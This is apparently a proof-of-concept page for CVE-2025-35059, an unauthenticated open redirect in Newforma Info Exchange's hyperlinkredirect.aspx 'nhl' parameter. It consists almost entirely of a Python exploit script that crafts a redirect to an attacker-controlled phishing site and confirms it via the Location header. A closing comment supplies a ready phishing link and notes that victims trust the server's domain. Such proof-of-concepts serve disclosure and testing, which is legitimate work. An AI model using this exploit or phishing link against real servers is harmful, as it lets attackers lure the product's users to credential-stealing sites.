CVE-2025-35059 Newforma Info Exchange开放重定向漏洞

# CVE-2025-35059 - Newforma Info Exchange (NIX) Open Redirect PoC # The vulnerability exists in /DownloadWeb/hyperlinkredirect.aspx via the 'nhl' parameter # This endpoint performs an unauthenticated URL redirect without proper validation import requests # Target NIX server (replace with actual victim server) target_url = "https://victim-nix-server.example.com" # Malicious destination URL controlled by attacker malicious_redirect = "https://attacker-controlled-malicious-site.com/phishing" # Construct the exploit URL - the 'nhl' parameter accepts arbitrary URLs without validation exploit_url = f"{target_url}/DownloadWeb/hyperlinkredirect.aspx?nhl={malicious_redirect}" print(f"[*] Crafted Open Redirect URL:") print(f" {exploit_url}") print() # Send the request (allow_redirects=False to observe the 302 redirect response) response = requests.get(exploit_url, allow_redirects=False, verify=False) print(f"[*] Response Status Code: {response.status_code}") print(f"[*] Location Header (Redirect Target): {response.headers.get('Location', 'N/A')}") print() if response.status_code in (301, 302, 303, 307, 308): location = response.headers.get('Location', '') if malicious_redirect in location: print("[+] Vulnerability confirmed! The server redirects to an arbitrary external URL.") print(f"[+] User would be redirected to: {location}") else: print("[-] Redirect target does not match the injected URL.") else: print("[-] No redirect response received.") # Example crafted phishing URL that can be sent to victims: # https://victim-nix-server.example.com/DownloadWeb/hyperlinkredirect.aspx?nhl=https://attacker.com/fake-login # Since the domain appears to be the trusted NIX server, victims are more likely to click it.